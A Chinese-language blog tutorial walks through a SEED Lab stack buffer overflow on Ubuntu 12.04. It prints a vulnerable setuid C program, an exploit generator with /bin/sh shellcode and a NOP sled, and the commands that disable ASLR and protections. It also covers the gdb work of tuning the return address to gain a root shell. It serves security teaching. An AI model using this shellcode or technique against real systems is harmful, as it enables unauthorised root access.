【软件安全】缓冲区溢出攻击(stack overflow)实践
文章目录
- 前言
- 攻击准备
- 攻击目标与原理
- 漏洞程序
- 攻击程序
- 攻击步骤
- 关闭现有安全机制
- 以root身份编译漏洞程序
- 确定`shellcode`在内存中位置
- 执行攻击程序
- 总结
- 参考资料
前言
最近在研究stack overflow
的复现,发现网上许多教程都偏老了,且许多关键步骤没有说明清楚,导致小白在一步步操作的时候经常出现无法正确获取shellcode
的情况,本人也是历经诸多大坑,总算是成功复现了这一过程。下面是溢出成功后的效果图。
个中会涉及到参数在函数栈中的存储,栈的返回地址,帧指针,函数如何执行的过程,这部分不再赘述,自行查阅相关资料。
攻击准备
工欲善其事,必先利其器,由于stack overflow
已经是上古时代的漏洞,在现行的许多操作系统发行版中已经做到了很好的保护机制,如果以这些系统作为攻击入口,小白无异以卵击石。因此,我们需要限制一下所用的操作系统,这里给出我使用的环境:
- OS: ubuntu12.04,采用了
SEED LAB
实验室提供的环境,点击这里查看 - 虚拟机软件:Vmware workstation 16
攻击目标与原理
- 攻击目标是获取到操作系统的
root
权限 - 攻击原理是目标程序存在的缓冲区溢出漏洞,构造特定的输入内容覆盖原始的返回地址,以执行相应的
shellcode
。
漏洞程序
下面是漏洞程序(stack.c
)的代码,它所做的主要工作是读取同目录下badfile
文件的内容,并将其复制到函数的临时数组变量buffer[]
中,但输入的内容大于buffer
的容量时,就可能导致数据覆盖函数栈中的返回地址,而攻击者通过精心计算原返回地址的位置,将其替换成shellcode
的地址,从而导致shellcode
执行,获得root
权限。
获取
root
权限的前提是漏洞程序通过root
权限编译,赋予相应root
权限
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>int bof(char *str)
{char buffer[12];//和原程序不一样的地方在此处,如果没有修改,最终结果会是return properly 无法攻击成功.获得root权限/* The following statement has a buffer overflow problem */strcpy(buffer, str);return 1;
}int main(int argc, char **argv)
{char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;
}
攻击程序
攻击程序(exploit.c
)主要是用来生成指定的badfile
,实现shellcode
的注入,让漏洞程序能够精确执行。其中shellcode
就是让程序执行/bin/sh
的相应汇编代码,程序创建了一个buffer
数组,用于存储shellcode
,同时在shellcode
前面用0x90
(NOP指令,不做操作执行下一条指令)填充,这使得shellcode
有多个入口点,增大执行概率。具体如下:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */strcpy(buffer+24,"\x??\x??\x??\x??"); //这里从24填写,但是上面漏洞程序buffer只有12,我也没搞懂strcpy(buffer+100,shellcode);/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);
}
攻击步骤
总体的攻击步骤包括:
- 关闭现有安全机制 关闭ASLR(内存地址随机化),用
zsh
替换sh
- 以
root
身份编译stack.c
(漏洞程序) - 确定
shellcode
在内存中的地址 - 执行攻击程序,漏洞程序,查看攻击效果
关闭现有安全机制
- 关闭ASLR
linux
系统为了防止stack overflow
,默认采用了ASLR
(内存地址随机化),这导致我们无法确定shellcode
在内存中的位置,为了简便需要关闭# 关闭方式1 sudo sysctl -w kernel.randomize_va_space=0 # 关闭方式2 sudo -s echo 0 > /proc/sys/kernel/randomize_va_space exit
- 用
zsh
替换sh
在ubuntu12.04,ubuntu16.04
中,/bin/sh
实际上指向一个/bin/dash
的链接文件,当其发现自己在一个特权程序中运行时,会将有效用户ID改成实际用户ID,让我们无法获得root
权限。替换方式如下:sudo su cd /bin cp sh sh.bak # 备份 rm sh ln -s zsh sh
还有一种替代解决方案是更改
shellcode
中"\x68""//sh"
为"\x68""/zsh"
以root身份编译漏洞程序
确保程序有root
权限
sudo gcc -g -z execstack -fno-stack-protector -o stack stack.c
sudo chmod u+s stack
确定shellcode
在内存中位置
注意shellcode
本质是被放在badfile
文件中,而漏洞程序读取badfile
复制到buffer
数组中,那么badfile
的起始位置就是stack.c
中buffer
的起始位置,因此我们需要让shellcode
的地址刚好被写在漏洞程序函数bof
返回地址的位置。具体如下图:
用gdk
调试stack
,反汇编main
函数,如下:
gdb stack
disass main
注意红框处的操作,这是main函数执行后栈给局部变量留出的空间,然后我们查看str
的地址,shellcode
应该已经被放置在str
数组中,距离100的位置。
随意找个地方设置断点,并运行,接着查看str
的地址,并计算+100后的地址结果
b *0x080484af
r
p &str
p/x 0xbffff127+100
在exploit.c
中将\x?\x?\x?\x?
的部分用0xbffff18b
地址替换
执行攻击程序
对攻击程序编译并执行得到badfile
,再执行./stack
查看攻击效果。
发现指令非法,说明我们没有正确找到shellcode
指令地址。
这个地方困扰了我很久,是个大坑,后来发现一篇文章中写到
gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./stack的时候,buf的位置会固定在别的地址上。
。
即存放shellcode
的地址相比原来会有偏差,因此尝试在找到的shellcode
地址上进行偏移,这里我尝试了许多种,发现将8b
换成ab
是可行的。
再做一次攻击可发现获取到了root权限
说明
shllcode
实际执行相比于调试内存地址偏后了30多位,可以尝试将8b
修改成更后面或附近的数值,如af
,b4
都是可行的。
总结
缓冲区溢出是十分古老却又经典的程序漏洞,许多更近一步的如return-to-libc
,格式化字符串漏洞,都是基于此基础上做的进一步深入攻击,因此掌握最基础的stack overflow
还是很有必要的。这个地方我参考了许多网上许多教程,它们大部分都是调试阶段直接获取到str
或者esp
地址后通过计算相对位置得到shellcode
地址,但根据我的实际操作结果来看有较大出入,实践才是检验真理的唯一标准。参考资料里列举的都是与此实验相关的资料,供读者对比参考。
参考资料
- SEED实验:缓冲区溢出漏洞实验__网络攻防实验
- SEED:缓冲区溢出漏洞实验
【软件安全】缓冲区溢出攻击(stack overflow)实践相关推荐
- 计算机系统基础学习笔记(7)-缓冲区溢出攻击实验
缓冲区溢出攻击实验 实验介绍 实验任务 实验数据 目标程序 bufbomb 说明 bufbomb 程序接受下列命令行参数 目标程序bufbomb中函数之间的调用关系 缓冲区溢出理解 目标程序调用的ge ...
- 计算机系统实验五:缓冲区溢出攻击
参考教材:计算机系统基础 第二版 袁春风 机械工业出版社 参考慕课:计算机系统基础(四):编程与调试实践 https://www.icourse163.org/learn/NJU-1449521162 ...
- Win32的缓冲区溢出攻击(涉及用WinDbg分析 overflow函数的返回地址所在的地址与buffer首地址的距离 OFF_SET)
Win32的缓冲区溢出攻击 一.学习过程 二.学习成果(求OFF_SET) 三.扩展阅读 一.学习过程 1.overflow函数的源代码 #include <stdio.h> #inclu ...
- java存在溢出攻击吗_缓冲区溢出攻击
缓冲区溢出漏洞(Buffer Overflow)是最早被发现也是最基础的软件安全漏洞技术类型之一.缓冲区溢出是一种非常普遍.非常危险的漏洞,在各种操作系统.应用软件中广泛存在.利用缓冲区溢出攻击,可以 ...
- 缓冲区溢出攻击初学者手册(更新版)
译者:IDF_Lab 来源:缓冲区溢出攻击初学者手册(更新版) 说明 之前版本翻译质量不佳,本人赵阳在这里对本文的读者表示深深的歉意.由于本人的疏忽和大意导致您不能很好的读完这篇文章,同时也对原文 ...
- 学习缓冲区溢出攻击的前提知识
文章目录 目录 文章目录 前言 一.8086 内存结构 (8086 Memory Architecture) 二.8086 CPU寄存器结构 总结 前言 缓冲区溢出(Buffer overflow)攻 ...
- 【网络攻防技术】实验四——缓冲区溢出攻击实验
文章目录 一.实验题目 二.实验步骤 Task1: Get Familiar with the Shellcod Task2: Level-1 Attack Task 3: Level-2 Attac ...
- Linux下缓冲区溢出攻击的原理及对策
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...
- 划重点!关于缓冲区溢出攻击,这份防范策略一定要收好!
一.缓冲区溢出攻击的基本概念 缓冲区溢出是一种非常普遍.非常危险的漏洞,在各种操作系统.应用软件中广泛存在.利用缓冲区溢出攻击,可以导致程序运行失败.系统宕机.重新启动等后果.更为严重的是,可以利用它 ...
最新文章
- Python内部机制。
- C 语言编程 — 高级数据类型 — void 类型
- JAVA面试题(27)
- 我是怎么用机器学习技术找到女票的
- [html] 隐藏div内文字的方法有哪些?
- 震惊!垃圾分类居然能用Python搞定!
- 1.9 编程基础之顺序查找 03 不高兴的津津 scratch
- java native2ascii的用法介绍
- 用python做曲_谁在用 python 弹奏一曲《菊花台》
- JAVA计算机毕业设计中药分类管理系统Mybatis+源码+数据库+lw文档+系统+调试部署
- 和张哥的那些天,互联网人的潜规则
- 明天冬瓜哥与你见面畅谈!不用报名直接来!
- 【Python】| 基于Python实现对比Excel的小工具
- [ZJOI2015]醉熏熏的幻想乡
- C语言用双曲线函数拟合曲线,c语言绘制函数曲线
- 阿里的天蝎计划-迟到了N多年的 SI
- 如何解决在打开pip时遇到Fatal error in launcher: Unable to create process using 的问题
- 通过倾斜相机本身来增大固定距离内垂直方向测量距离的求解过程
- iphone 6s pp助手 越狱
- 三相功率板,测量三相电压电流,PCB,原理图和程序。STM32F030C8